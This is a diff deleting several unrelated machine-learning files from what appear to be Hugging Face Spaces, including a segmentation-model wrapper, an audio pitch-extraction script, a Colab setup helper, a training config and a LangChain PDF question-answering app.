- def __init__(self, modeldir=None, segarch=None, segvocab=None,
288
- segsizes=None, segdiv=None, epoch=None):
289
- # Create a segmentation model
290
- if modeldir == None:
291
- modeldir = 'dataset/segmodel'
292
- if segvocab == None:
293
- segvocab = 'baseline'
294
- if segarch == None:
295
- segarch = ('resnet50_dilated8', 'ppm_bilinear_deepsup')
296
- if segdiv == None:
297
- segdiv = 'undivided'
298
- elif isinstance(segarch, str):
299
- segarch = segarch.split(',')
300
- segmodel = load_segmentation_model(modeldir, segarch, segvocab, epoch)
301
- if segsizes is None:
302
- segsizes = getattr(segmodel.meta, 'segsizes', [256])
303
- self.segsizes = segsizes
304
- # Verify segmentation model to has every out_channel labeled.
305
- assert len(segmodel.meta.labels) == list(c for c in segmodel.modules()
306
- if isinstance(c, torch.nn.Conv2d))[-1].out_channels
307
- segmodel.cuda()
308
- self.segmodel = segmodel
309
- self.segdiv = segdiv
310
- # Image normalization
311
- self.bgr = (segmodel.meta.imageformat.byteorder == 'BGR')
312
- self.imagemean = torch.tensor(segmodel.meta.imageformat.mean)
313
- self.imagestd = torch.tensor(segmodel.meta.imageformat.stdev)
314
- # Map from labels to external indexes, and labels to channel sets.
315
- self.labelmap = {'-': 0}
316
- self.channelmap = {'-': []}
317
- self.labels = [('-', '-')]
318
- num_labels = 1
319
- self.num_underlying_classes = len(segmodel.meta.labels)
320
- # labelmap maps names to external indexes.
321
- for i, label in enumerate(segmodel.meta.labels):
322
- if label.name not in self.channelmap:
323
- self.channelmap[label.name] = []
324
- self.channelmap[label.name].append(i)
325
- if getattr(label, 'internal', None) or label.name in self.labelmap:
326
- continue
327
- self.labelmap[label.name] = num_labels
328
- num_labels += 1
329
- self.labels.append((label.name, label.category))
330
- # Each category gets its own independent softmax.
331
- self.category_indexes = { category.name:
332
- [i for i, label in enumerate(segmodel.meta.labels)
333
- if label.category == category.name]
334
- for category in segmodel.meta.categories }
335
- # catindexmap maps names to category internal indexes
336
- self.catindexmap = {}
337
- for catname, indexlist in self.category_indexes.items():
338
- for index, i in enumerate(indexlist):
339
- self.catindexmap[segmodel.meta.labels[i].name] = (
340
- (catname, index))
341
- # After the softmax, each category is mapped to external indexes.
342
- self.category_map = { catname:
343
- torch.tensor([
344
- self.labelmap.get(segmodel.meta.labels[ind].name, 0)
345
- for ind in catindex])
346
- for catname, catindex in self.category_indexes.items()}
347
- self.category_rules = segmodel.meta.categories
348
- # Finally, naive subdivision can be applied.
349
- mult = 1
350
- if self.segdiv == 'quad':
351
- mult = 5
352
- suffixes = ['t', 'l', 'b', 'r']
353
- divided_labels = []
354
- for suffix in suffixes:
355
- divided_labels.extend([('%s-%s' % (label, suffix), cat)
356
- for label, cat in self.labels[1:]])
357
- self.channelmap.update({
358
- '%s-%s' % (label, suffix): self.channelmap[label]
359
- for label, cat in self.labels[1:] })
360
- self.labels.extend(divided_labels)
361
- # For examining a single class
362
- self.channellist = [self.channelmap[name] for name, _ in self.labels]
363
-
364
- def get_label_and_category_names(self, dataset=None):
365
- return self.labels, self.segmodel.categories
366
-
367
- def segment_batch(self, tensor_images, downsample=1):
368
- return self.raw_segment_batch(tensor_images, downsample)[0]
369
-
370
- def raw_segment_batch(self, tensor_images, downsample=1):
371
- pred = self.raw_seg_prediction(tensor_images, downsample)
372
- catsegs = {}
373
- for catkey, catindex in self.category_indexes.items():
374
- _, segs = torch.max(pred[:, catindex], dim=1)
375
- catsegs[catkey] = segs
376
- masks = {}
377
- segs = torch.zeros(len(tensor_images), len(self.category_rules),
378
- pred.shape[2], pred.shape[2], device=pred.device,
379
- dtype=torch.long)
380
- for i, cat in enumerate(self.category_rules):
381
- catmap = self.category_map[cat.name].to(pred.device)
382
- translated = catmap[catsegs[cat.name]]
383
- if getattr(cat, 'mask', None) is not None:
384
- if cat.mask not in masks:
385
- maskcat, maskind = self.catindexmap[cat.mask]
386
- masks[cat.mask] = (catsegs[maskcat] == maskind)
387
- translated *= masks[cat.mask].long()
388
- segs[:,i] = translated
389
- if self.segdiv == 'quad':
390
- segs = self.expand_segment_quad(segs,
391
- self.num_underlying_classes, self.segdiv)
392
- return segs, pred
393
-
394
- def raw_seg_prediction(self, tensor_images, downsample=1):
395
- '''
396
- Generates a segmentation by applying multiresolution voting on
397
- the segmentation model, using (rounded to 32 pixels) a set of
398
- resolutions in the example benchmark code.
399
- '''
400
- y, x = tensor_images.shape[2:]
401
- b = len(tensor_images)
402
- # Flip the RGB order if specified.
403
- if self.bgr:
404
- tensor_images = torch.flip(tensor_images, (1,))
405
- # Transform from our [-1..1] range to torch standard [0..1] range
406
- # and then apply normalization.
407
- tensor_images = ((tensor_images + 1) / 2
408
- ).sub_(self.imagemean[None,:,None,None].to(tensor_images.device)
409
- ).div_(self.imagestd[None,:,None,None].to(tensor_images.device))
410
- # Output shape can be downsampled.
411
- seg_shape = (y // downsample, x // downsample)
412
- # We want these to be multiples of 32 for the model.
413
- sizes = [(s, s) for s in self.segsizes]
414
- pred = torch.zeros(
415
- len(tensor_images), (self.num_underlying_classes),
416
- seg_shape[0], seg_shape[1]).cuda()
417
- for size in sizes:
418
- if size == tensor_images.shape[2:]:
419
- resized = tensor_images
420
- else:
421
- resized = torch.nn.AdaptiveAvgPool2d(size)(tensor_images)
422
- raw_pred = self.segmodel(
423
- dict(img_data=resized), segSize=seg_shape)
424
- softmax_pred = torch.empty_like(raw_pred)
425
- for catindex in self.category_indexes.values():
426
- softmax_pred[:, catindex] = torch.nn.functional.softmax(
427
- raw_pred[:, catindex], dim=1)
428
- pred += softmax_pred
429
- return pred
430
-
431
- def expand_segment_quad(self, segs, num_seg_labels, segdiv='quad'):
432
- shape = segs.shape
433
- output = segs.repeat(1, 3, 1, 1)
434
- # For every connected component present (using generator)
435
- for i, mask in component_masks(segs):
436
- # Figure the bounding box of the label
437
- top, bottom = mask.any(dim=1).nonzero()[[0, -1], 0]
438
- left, right = mask.any(dim=0).nonzero()[[0, -1], 0]
439
- # Chop the bounding box into four parts
440
- vmid = (top + bottom + 1) // 2
441
- hmid = (left + right + 1) // 2
442
- # Construct top, bottom, right, left masks
443
- quad_mask = mask[None,:,:].repeat(4, 1, 1)
444
- quad_mask[0, vmid:, :] = 0 # top
445
- quad_mask[1, :, hmid:] = 0 # right
446
- quad_mask[2, :vmid, :] = 0 # bottom
447
- quad_mask[3, :, :hmid] = 0 # left
448
- quad_mask = quad_mask.long()
449
- # Modify extra segmentation labels by offsetting
450
- output[i,1,:,:] += quad_mask[0] * num_seg_labels
451
- output[i,2,:,:] += quad_mask[1] * (2 * num_seg_labels)
452
- output[i,1,:,:] += quad_mask[2] * (3 * num_seg_labels)
453
- output[i,2,:,:] += quad_mask[3] * (4 * num_seg_labels)
454
- return output
455
-
456
- def predict_single_class(self, tensor_images, classnum, downsample=1):
457
- '''
458
- Given a batch of images (RGB, normalized to [-1...1]) and
459
- a specific segmentation class number, returns a tuple with
460
- (1) a differentiable ([0..1]) prediction score for the class
461
- at every pixel of the input image.
462
- (2) a binary mask showing where in the input image the
463
- specified class is the best-predicted label for the pixel.
464
- Does not work on subdivided labels.
465
- '''
466
- seg, pred = self.raw_segment_batch(tensor_images,
467
- downsample=downsample)
468
- result = pred[:,self.channellist[classnum]].sum(dim=1)
469
- mask = (seg == classnum).max(1)[0]
470
- return result, mask
471
-
472
- def component_masks(segmentation_batch):
473
- '''
474
- Splits connected components into regions (slower, requires cpu).
475
- '''
476
- npbatch = segmentation_batch.cpu().numpy()
477
- for i in range(segmentation_batch.shape[0]):
478
- labeled, num = skimage.morphology.label(npbatch[i][0], return_num=True)
479
- labeled = torch.from_numpy(labeled).to(segmentation_batch.device)
480
- for label in range(1, num):
481
- yield i, (labeled == label)
482
-
483
- def load_unified_parsing_segmentation_model(segmodel_arch, segvocab, epoch):
484
- segmodel_dir = 'dataset/segmodel/%s-%s-%s' % ((segvocab,) + segmodel_arch)
485
- # Load json of class names and part/object structure
486
- with open(os.path.join(segmodel_dir, 'labels.json')) as f:
487
- labeldata = json.load(f)
488
- nr_classes={k: len(labeldata[k])
489
- for k in ['object', 'scene', 'material']}
490
- nr_classes['part'] = sum(len(p) for p in labeldata['object_part'].values())
491
- # Create a segmentation model
492
- segbuilder = upsegmodel.ModelBuilder()
493
- # example segmodel_arch = ('resnet101', 'upernet')
494
- seg_encoder = segbuilder.build_encoder(
495
- arch=segmodel_arch[0],
496
- fc_dim=2048,
497
- weights=os.path.join(segmodel_dir, 'encoder_epoch_%d.pth' % epoch))
498
- seg_decoder = segbuilder.build_decoder(
499
- arch=segmodel_arch[1],
500
- fc_dim=2048, use_softmax=True,
501
- nr_classes=nr_classes,
502
- weights=os.path.join(segmodel_dir, 'decoder_epoch_%d.pth' % epoch))
503
- segmodel = upsegmodel.SegmentationModule(
504
- seg_encoder, seg_decoder, labeldata)
505
- segmodel.categories = ['object', 'part', 'material']
506
- segmodel.eval()
507
- return segmodel
508
-
509
- def load_segmentation_model(modeldir, segmodel_arch, segvocab, epoch=None):
510
- # Load csv of class names
511
- segmodel_dir = 'dataset/segmodel/%s-%s-%s' % ((segvocab,) + segmodel_arch)
512
- with open(os.path.join(segmodel_dir, 'labels.json')) as f:
513
- labeldata = EasyDict(json.load(f))
514
- # Automatically pick the last epoch available.
515
- if epoch is None:
516
- choices = [os.path.basename(n)[14:-4] for n in
517
- glob.glob(os.path.join(segmodel_dir, 'encoder_epoch_*.pth'))]
518
- epoch = max([int(c) for c in choices if c.isdigit()])
519
- # Create a segmentation model
520
- segbuilder = segmodel_module.ModelBuilder()
521
- # example segmodel_arch = ('resnet101', 'upernet')
522
- seg_encoder = segbuilder.build_encoder(
523
- arch=segmodel_arch[0],
524
- fc_dim=2048,
525
- weights=os.path.join(segmodel_dir, 'encoder_epoch_%d.pth' % epoch))
526
- seg_decoder = segbuilder.build_decoder(
527
- arch=segmodel_arch[1],
528
- fc_dim=2048, inference=True, num_class=len(labeldata.labels),
529
- weights=os.path.join(segmodel_dir, 'decoder_epoch_%d.pth' % epoch))
530
- segmodel = segmodel_module.SegmentationModule(seg_encoder, seg_decoder,
531
- torch.nn.NLLLoss(ignore_index=-1))
532
- segmodel.categories = [cat.name for cat in labeldata.categories]
533
- segmodel.labels = [label.name for label in labeldata.labels]
534
- categories = OrderedDict()
535
- label_category = numpy.zeros(len(segmodel.labels), dtype=int)
536
- for i, label in enumerate(labeldata.labels):
537
- label_category[i] = segmodel.categories.index(label.category)
538
- segmodel.meta = labeldata
539
- segmodel.eval()
540
- return segmodel
541
-
542
- def ensure_upp_segmenter_downloaded(directory):
543
- baseurl = 'http://netdissect.csail.mit.edu/data/segmodel'
544
- dirname = 'upp-resnet50-upernet'
545
- files = ['decoder_epoch_40.pth', 'encoder_epoch_40.pth', 'labels.json']
546
- download_dir = os.path.join(directory, dirname)
547
- os.makedirs(download_dir, exist_ok=True)
548
- for fn in files:
549
- if os.path.isfile(os.path.join(download_dir, fn)):
550
- continue # Skip files already downloaded
551
- url = '%s/%s/%s' % (baseurl, dirname, fn)
552
- print('Downloading %s' % url)
553
- urlretrieve(url, os.path.join(download_dir, fn))
554
- assert os.path.isfile(os.path.join(directory, dirname, 'labels.json'))
555
-
556
- def test_main():
557
- '''
558
- Test the unified segmenter.
559
- '''
560
- from PIL import Image
561
- testim = Image.open('script/testdata/test_church_242.jpg')
562
- tensor_im = (torch.from_numpy(numpy.asarray(testim)).permute(2, 0, 1)
563
- .float() / 255 * 2 - 1)[None, :, :, :].cuda()
564
- segmenter = UnifiedParsingSegmenter()
565
- seg = segmenter.segment_batch(tensor_im)
566
- bc = torch.bincount(seg.view(-1))
567
- labels, cats = segmenter.get_label_and_category_names()
568
- for label in bc.nonzero()[:,0]:
569
- if label.item():
570
- # What is the prediction for this class?
571
- pred, mask = segmenter.predict_single_class(tensor_im, label.item())
572
- assert mask.sum().item() == bc[label].item()
573
- assert len(((seg == label).max(1)[0] - mask).nonzero()) == 0
574
- inside_pred = pred[mask].mean().item()
575
- outside_pred = pred[~mask].mean().item()
576
- print('%s (%s, #%d): %d pixels, pred %.2g inside %.2g outside' %
577
- (labels[label.item()] + (label.item(), bc[label].item(),
578
- inside_pred, outside_pred)))
579
-
580
- if __name__ == '__main__':
581
- test_main()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/Dragonnext/scylla-proxy/README.md DELETED
@@ -1,10 +0,0 @@
1
- ---
2
- title: Scylla OAI Proxy
3
- emoji: 🐙
4
- colorFrom: purple
5
- colorTo: gray
6
- sdk: docker
7
- pinned: false
8
- ---
9
-
10
- Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
 
 
 
 
 
 
 
 
 
 
 
spaces/Eddycrack864/Applio-Inference/infer/modules/train/extract/extract_f0_rmvpe.py DELETED
@@ -1,141 +0,0 @@
1
- import os
2
- import sys
3
- import traceback
4
-
5
- import parselmouth
6
-
7
- now_dir = os.getcwd()
8
- sys.path.append(now_dir)
9
- import logging
10
-
11
- import numpy as np
12
- import pyworld
13
-
14
- from infer.lib.audio import load_audio
15
-
16
- logging.getLogger("numba").setLevel(logging.WARNING)
17
-
18
- n_part = int(sys.argv[1])
19
- i_part = int(sys.argv[2])
20
- i_gpu = sys.argv[3]
21
- os.environ["CUDA_VISIBLE_DEVICES"] = str(i_gpu)
22
- exp_dir = sys.argv[4]
23
- is_half = sys.argv[5]
24
- f = open("%s/extract_f0_feature.log" % exp_dir, "a+")
25
-
26
-
27
- def printt(strr):
28
- print(strr)
29
- f.write("%s\n" % strr)
30
- f.flush()
31
-
32
-
33
- class FeatureInput(object):
34
- def __init__(self, samplerate=16000, hop_size=160):
35
- self.fs = samplerate
36
- self.hop = hop_size
37
-
38
- self.f0_bin = 256
39
- self.f0_max = 1100.0
40
- self.f0_min = 50.0
41
- self.f0_mel_min = 1127 * np.log(1 + self.f0_min / 700)
42
- self.f0_mel_max = 1127 * np.log(1 + self.f0_max / 700)
43
-
44
- def compute_f0(self, path, f0_method):
45
- x = load_audio(path, self.fs)
46
- # p_len = x.shape[0] // self.hop
47
- if f0_method == "rmvpe":
48
- if hasattr(self, "model_rmvpe") == False:
49
- from infer.lib.rmvpe import RMVPE
50
-
51
- print("Loading rmvpe model")
52
- self.model_rmvpe = RMVPE(
53
- "assets/rmvpe/rmvpe.pt", is_half=is_half, device="cuda"
54
- )
55
- f0 = self.model_rmvpe.infer_from_audio(x, thred=0.03)
56
- return f0
57
-
58
- def coarse_f0(self, f0):
59
- f0_mel = 1127 * np.log(1 + f0 / 700)
60
- f0_mel[f0_mel > 0] = (f0_mel[f0_mel > 0] - self.f0_mel_min) * (
61
- self.f0_bin - 2
62
- ) / (self.f0_mel_max - self.f0_mel_min) + 1
63
-
64
- # use 0 or 1
65
- f0_mel[f0_mel <= 1] = 1
66
- f0_mel[f0_mel > self.f0_bin - 1] = self.f0_bin - 1
67
- f0_coarse = np.rint(f0_mel).astype(int)
68
- assert f0_coarse.max() <= 255 and f0_coarse.min() >= 1, (
69
- f0_coarse.max(),
70
- f0_coarse.min(),
71
- )
72
- return f0_coarse
73
-
74
- def go(self, paths, f0_method):
75
- if len(paths) == 0:
76
- printt("no-f0-todo")
77
- else:
78
- printt("todo-f0-%s" % len(paths))
79
- n = max(len(paths) // 5, 1) # 每个进程最多打印5条
80
- for idx, (inp_path, opt_path1, opt_path2) in enumerate(paths):
81
- try:
82
- if idx % n == 0:
83
- printt("f0ing,now-%s,all-%s,-%s" % (idx, len(paths), inp_path))
84
- if (
85
- os.path.exists(opt_path1 + ".npy") == True
86
- and os.path.exists(opt_path2 + ".npy") == True
87
- ):
88
- continue
89
- featur_pit = self.compute_f0(inp_path, f0_method)
90
- np.save(
91
- opt_path2,
92
- featur_pit,
93
- allow_pickle=False,
94
- ) # nsf
95
- coarse_pit = self.coarse_f0(featur_pit)
96
- np.save(
97
- opt_path1,
98
- coarse_pit,
99
- allow_pickle=False,
100
- ) # ori
101
- except:
102
- printt("f0fail-%s-%s-%s" % (idx, inp_path, traceback.format_exc()))
103
-
104
-
105
- if __name__ == "__main__":
106
- # exp_dir=r"E:\codes\py39\dataset\mi-test"
107
- # n_p=16
108
- # f = open("%s/log_extract_f0.log"%exp_dir, "w")
109
- printt(sys.argv)
110
- featureInput = FeatureInput()
111
- paths = []
112
- inp_root = "%s/1_16k_wavs" % (exp_dir)
113
- opt_root1 = "%s/2a_f0" % (exp_dir)
114
- opt_root2 = "%s/2b-f0nsf" % (exp_dir)
115
-
116
- os.makedirs(opt_root1, exist_ok=True)
117
- os.makedirs(opt_root2, exist_ok=True)
118
- for name in sorted(list(os.listdir(inp_root))):
119
- inp_path = "%s/%s" % (inp_root, name)
120
- if "spec" in inp_path:
121
- continue
122
- opt_path1 = "%s/%s" % (opt_root1, name)
123
- opt_path2 = "%s/%s" % (opt_root2, name)
124
- paths.append([inp_path, opt_path1, opt_path2])
125
- try:
126
- featureInput.go(paths[i_part::n_part], "rmvpe")
127
- except:
128
- printt("f0_all_fail-%s" % (traceback.format_exc()))
129
- # ps = []
130
- # for i in range(n_p):
131
- # p = Process(
132
- # target=featureInput.go,
133
- # args=(
134
- # paths[i::n_p],
135
- # f0method,
136
- # ),
137
- # )
138
- # ps.append(p)
139
- # p.start()
140
- # for i in range(n_p):
141
- # ps[i].join()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/Endre/SemanticSearch-HU/src/exploration/mqa_test.py DELETED
@@ -1,9 +0,0 @@
1
- from datasets import load_dataset
2
-
3
- faq_hu = load_dataset("clips/mqa", scope="faq", language="hu")
4
- cqa_hu = load_dataset("clips/mqa", scope="cqa", language="hu")
5
-
6
- print(faq_hu)
7
- print(cqa_hu)
8
- print(faq_hu['train'][:5])
9
- print(cqa_hu['train'][:5])
 
 
 
 
 
 
 
 
 
 
spaces/EronSamez/RVC_HFmeu/colab_for_mdx.py DELETED
@@ -1,71 +0,0 @@
1
- import json
2
- import os
3
- import gc
4
- import psutil
5
- import requests
6
- import subprocess
7
- import time
8
- import logging
9
- import sys
10
- import shutil
11
- now_dir = os.getcwd()
12
- sys.path.append(now_dir)
13
- first_cell_executed = False
14
- file_folder = "Colab-for-MDX_B"
15
- def first_cell_ran():
16
- global first_cell_executed
17
- if first_cell_executed:
18
- #print("The 'first_cell_ran' function has already been executed.")
19
- return
20
-
21
-
22
-
23
- first_cell_executed = True
24
- os.makedirs("tmp_models", exist_ok=True)
25
-
26
-
27
-
28
- class hide_opt: # hide outputs
29
- def __enter__(self):
30
- self._original_stdout = sys.stdout
31
- sys.stdout = open(os.devnull, "w")
32
-
33
- def __exit__(self, exc_type, exc_val, exc_tb):
34
- sys.stdout.close()
35
- sys.stdout = self._original_stdout
36
-
37
- def get_size(bytes, suffix="B"): # read ram
38
- global svmem
39
- factor = 1024
40
- for unit in ["", "K", "M", "G", "T", "P"]:
41
- if bytes < factor:
42
- return f"{bytes:.2f}{unit}{suffix}"
43
- bytes /= factor
44
- svmem = psutil.virtual_memory()
45
-
46
-
47
- def use_uvr_without_saving():
48
- print("Notice: files won't be saved to personal drive.")
49
- print(f"Downloading {file_folder}...", end=" ")
50
- with hide_opt():
51
- #os.chdir(mounting_path)
52
- items_to_move = ["demucs", "diffq","julius","model","separated","tracks","mdx.py","MDX-Net_Colab.ipynb"]
53
- subprocess.run(["git", "clone", "https://github.com/NaJeongMo/Colab-for-MDX_B.git"])
54
- for item_name in items_to_move:
55
- item_path = os.path.join(file_folder, item_name)
56
- if os.path.exists(item_path):
57
- if os.path.isfile(item_path):
58
- shutil.move(item_path, now_dir)
59
- elif os.path.isdir(item_path):
60
- shutil.move(item_path, now_dir)
61
- try:
62
- shutil.rmtree(file_folder)
63
- except PermissionError:
64
- print(f"No se pudo eliminar la carpeta {file_folder}. Puede estar relacionada con Git.")
65
-
66
-
67
- use_uvr_without_saving()
68
- print("done!")
69
- if not os.path.exists("tracks"):
70
- os.mkdir("tracks")
71
- first_cell_ran()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/EuroPython2022/mmocr-demo/configs/_base_/schedules/schedule_adadelta_18e.py DELETED
@@ -1,8 +0,0 @@
1
- # optimizer
2
- optimizer = dict(type='Adadelta', lr=0.5)
3
- optimizer_config = dict(grad_clip=dict(max_norm=0.5))
4
- # learning policy
5
- lr_config = dict(policy='step', step=[8, 14, 16])
6
- # running settings
7
- runner = dict(type='EpochBasedRunner', max_epochs=18)
8
- checkpoint_config = dict(interval=1)
 
 
 
 
 
 
 
 
 
spaces/FacundoSander/PdfQA/main.py DELETED
@@ -1,53 +0,0 @@
1
- from langchain.chains import RetrievalQA
2
- from langchain.llms import OpenAI
3
- from langchain.document_loaders import PyPDFLoader
4
- from langchain.text_splitter import CharacterTextSplitter
5
- from langchain.embeddings import OpenAIEmbeddings
6
- from langchain.vectorstores import Chroma
7
- from fastapi import FastAPI
8
- from fastapi.staticfiles import StaticFiles
9
-
10
- app = FastAPI()
11
-
12
- app.mount("/static", StaticFiles(directory="static"), name="static")
13
-
14
- def create_qa_object(file, chain_type, k):
15
- # load document
16
- loader = PyPDFLoader(file)
17
- documents = loader.load()
18
-
19
- # split the documents into chunks
20
- text_splitter = CharacterTextSplitter(chunk_size=1000, chunk_overlap=0)
21
- texts = text_splitter.split_documents(documents)
22
-
23
- # select which embeddings we want to use
24
- embeddings = OpenAIEmbeddings()
25
-
26
- # create the vectorestore to use as the index
27
- db = Chroma.from_documents(texts, embeddings)
28
-
29
- # expose this index in a retriever interface
30
- retriever = db.as_retriever(search_type="similarity", search_kwargs={"k": k})
31
-
32
- # create a chain to answer questions
33
- qa = RetrievalQA.from_chain_type(
34
- llm=OpenAI(), chain_type=chain_type, retriever=retriever, return_source_documents=True)
35
-
36
- return qa
37
-
38
- def get_answer(qa, query):
39
- result = qa({"query": query})
40
- return result["result"]
41
-
42
- def get_source_documents(qa, query):
43
- result = qa({"query": query})
44
- source_documents = result["source_documents"]
45
- source_info = []
46
- for doc in source_documents:
47
- source_info.append(f"{doc.page_content[:700]}...")
48
- source_text = " | ".join(source_info)
49
- return source_text
50
-
51
- if __name__ == "__main__":
52
- import uvicorn
53
- uvicorn.run("api:app", host="0.0.0.0", port=8000, reload=True)